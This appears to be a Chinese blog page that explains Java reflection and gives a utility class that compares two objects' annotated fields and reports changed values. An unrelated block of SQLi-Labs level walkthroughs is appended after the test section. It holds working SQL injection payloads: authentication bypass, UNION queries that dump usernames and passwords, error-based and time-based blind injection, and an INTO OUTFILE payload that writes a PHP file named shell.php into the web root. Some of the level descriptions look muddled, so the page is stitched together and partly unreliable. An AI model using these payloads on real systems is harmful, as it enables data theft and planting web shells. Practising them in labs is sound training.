反射比较两个对象那些数据发生变化

本文详细介绍了Java反射机制,包括如何通过反射访问私有属性,使用setAccessible方法绕过访问检查,以及如何利用反射比较并展示两个对象字段的差异。通过自定义注解和工具类,展示了在运行时获取类信息、比较对象差异的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

反射是JAVA语言主要的特征之一。它是允许运行中的java程序对自身进行检查。
在java程序中被private修饰的只能在内部访问,外部是不行的,
若想在外部访问private修饰的是可以通过反射实现的。
反射是可以直接操作私有属性的,反射是一个可以在运行时获取一个类的所有信息,操作这些信息的。

常用方法

	//获取到对象的class
  Class<?> oldClass = oldObj.getClass();
  //对象的包名
  oldClass.getPackage().getName()
  //类名User
  oldClass.getSimpleName()
  //完整类名com.xxx.User
  oldClass.getSimpleName()
  //对象的属性列表(比如实体类的各个字段)
  oldClass.getDeclaredFields()

其他知识setAccessible

   		//将此对象的 accessible 标志设置为指示的布尔值。
        // 值为 true 则指示反射的对象在使用时应该取消 Java 语言访问检查。
        // 值为 false 则指示反射的对象应该实施 Java 语言访问检查;
        // 实际上setAccessible是启用和禁用访问安全检查的开关,
        // 并不是为true就能访问为false就不能访问 ;
		setAccessible(true);

反射获取修改对象修改的内容

1:自定义注解

import java.lang.annotation.*;

@Retention(RetentionPolicy.RUNTIME) // 注解会在class字节码文件中存在,在运行时可以通过反射获取到
@Target({ElementType.FIELD,ElementType.METHOD})//定义注解的作用目标**作用范围字段、枚举的常量/方法
@Documented//说明该注解将被包含在javadoc中
public @interface FieldMeta {
    String name() default "";
    String description() default "";
}

2:工具类


import org.apache.commons.lang3.StringUtils;

import java.beans.IntrospectionException;
import java.beans.PropertyDescriptor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * 反射
 * 通过反射比较两个对象修改字段的区别
 * <p>
 * ***************************************
 * 反射是Java程序开发语言的特征之一,它允许运行中的java程序对自身进行检查。
 * 被private封装的只能内部访问,外部是不行的,但是通过反射是可以直接操作私有属性的。
 * 反射是一个可以在运行时获取一个类的所有信息
 */
public class ContrastUtils {


    /**
     * 修改记录-字段的分割符号
     */
    public static final String SEPARATOR = ";";

    /**
     * 比较两个对象,并且返回不一致的信息
     *
     * @return
     */
    public static String compare(Object oldObj, Object newObj) throws IntrospectionException, InvocationTargetException, IllegalAccessException {
        String str = "";
        //1:获取到对象的class
        Class<?> oldClass = oldObj.getClass();
        Class<?> newClass = newObj.getClass();
        //2:获取到对象的属性列表
        Field[] oldFields = oldClass.getDeclaredFields();
        Field[] newFields = newClass.getDeclaredFields();
        for (int i = 0; i < oldFields.length; i++) {
            if ("serialVersionUID".equals(oldFields[i].getName())) {
                continue;
            }
            //将此对象的 accessible 标志设置为指示的布尔值。
            // 值为 true 则指示反射的对象在使用时应该取消 Java 语言访问检查。
            // 值为 false 则指示反射的对象应该实施 Java 语言访问检查;
            // 实际上setAccessible是启用和禁用访问安全检查的开关,
            // 并不是为true就能访问为false就不能访问 ;
            oldFields[i].setAccessible(true);
            newFields[i].setAccessible(true);

            //获取到字段上的注解
            FieldMeta annotation = oldFields[i].getAnnotation(FieldMeta.class);
            //当没有注解的时候跳过本次循环
            if (annotation == null || StringUtils.isBlank(annotation.name())) {
                continue;
            }
            //获取注解中的字段名
            String name = annotation.name();
            String description = annotation.description();

            PropertyDescriptor oldPd = new PropertyDescriptor(oldFields[i].getName(), oldClass);
            PropertyDescriptor newPd = new PropertyDescriptor(newFields[i].getName(), newClass);
            //调用成员方法
            Method oldReadMethod = oldPd.getReadMethod();
            Method newReadMethod = newPd.getReadMethod();
            //3:获取到参数数值
            Object oldValue = oldReadMethod.invoke(oldObj);
            Object newValue = newReadMethod.invoke(newObj);
            if (StringUtils.isNotBlank(description)) {
                //a=xxx
                List<String> list = Arrays.asList(description.split(","));
                Map<Object, Object> map = new HashMap<>();
                list.forEach(item -> {
                    List<String> asList = Arrays.asList(item.split("="));
                    if (asList.size() > 0) {
                        map.computeIfAbsent(asList.get(0), k -> asList.get(1));
                    }
                });
                oldValue = map.get(oldValue.toString());
                newValue = map.get(newValue.toString());
            }
            /**获取差异字段*/
            str = getDifferenceFieldStr(str, i, name, oldValue, newValue);
        }

        return str;
    }
    /**
     * 获取差异字段新旧值
     *
     * @param str
     * @param i
     * @param fieldName
     * @param oldValue
     * @param newValue
     * @return
     */
    private static String getDifferenceFieldStr(String str, int i, String fieldName, Object oldValue, Object newValue) {

        if (null == oldValue || StringUtils.isBlank(oldValue.toString())) {
            oldValue = "无";
        }
        if (null == newValue || StringUtils.isBlank(newValue.toString())) {
            newValue = "无";
        }
        if (!oldValue.equals(newValue)) {

            str += fieldName + "从 " + oldValue + ",修改为 " + newValue + SEPARATOR;
        }
        return str;
    }


}

3:测试

@Data
@Builder
@AllArgsConstructor
@NoArgsConstructor
public class TestBo implements Serializable {
    @FieldMeta(name = "性别",description = "1=男,2=女,3=未知")
    private Integer sex;
    @FieldMeta(name = "数量")
    private int sum;
}
 @Test
    public void d() {
        TestBo oldTest = TestBo.builder().sex(1).sum(800).build();
        TestBo newTest = TestBo.builder().sex(2).sum(500).build();
        try {
            String compare = ContrastUtils.compare(oldTest, newTest);
            System.out.println(compare);
        } catch (IntrospectionException | InvocationTargetException | IllegalAccessException e) {
            e.printStackTrace();
        }
    }

4:运行结果

在这里插入图片描述

### SQLi-Labs 1-7 关卡解题思路 #### Less-1: 基础 GET 请求注入 在这一关中,目标是在 URL 参数 `id` 中注入 SQL 语句来获取数据库中的信息。通过输入 `' OR '1'='1` 可以绕过身份验证并登录成功[^1]。 ```sql ?id=1' or '1'='1 ``` #### Less-2: 使用 UNION SELECT 注入 此关涉及使用 `UNION SELECT` 来联合查询其他表的内容。为了找到合适的列数,可以逐个增加返回的结果集数量直到页面不再报错为止。一旦确定了正确的列数,则可以通过这些列读取任意表格的信息[^3]。 ```sql ?id=-1 UNION ALL SELECT NULL,NULL FROM information_schema.tables WHERE table_schema=database()# ``` #### Less-3: 报错注入 利用 MySQL 的内置函数如 `extractvalue()` 或者 `updatexml()` 实现基于错误回显的 SQL 注入攻击。这允许直接从服务器响应中提取敏感数据而无需额外请求。 ```sql ?uname=1' AND extractvalue(1,concat(0x7e,(SELECT database())))--+&passwd=1&submit=Submit ``` #### Less-4: 时间盲注 当无法看到具体的错误消息时,可采用时间延迟技术来进行推测性的注入测试。例如,如果存在漏洞则会使查询等待一段时间再继续执行。 ```sql ?id=1' AND IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),NULL)--+ ``` #### Less-5: 基于布尔条件的时间盲注 进一步扩展上一关的概念,在不知道确切版本号的情况下也可以利用布尔表达式的真假判断配合 SLEEP 函数完成注入操作[^2]。 ```sql ?id=1' AND (IF((ASCII(SUBSTRING(version(),1,1)))>50,BENCHMARK(5000000,SHA1('A')),false))--+ ``` #### Less-6: 多参数注入 本关考察如何处理多个输入字段的同时注入问题。通常情况下只需要在一个地方构造恶意负载即可影响整个查询逻辑[^4]。 ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x7E,password) FROM users # ``` #### Less-7: 文件写入与读取 最后一关涉及到更高级别的功能——将查询结果保存成文件并通过 Web 访问路径下载下来查看具体内容。这一步骤可能需要用到 INTO OUTFILE 子句以及 LOAD_FILE() 函数实现本地文件系统的交互。 ```sql ?id=1' union all select null,'<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php'# ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值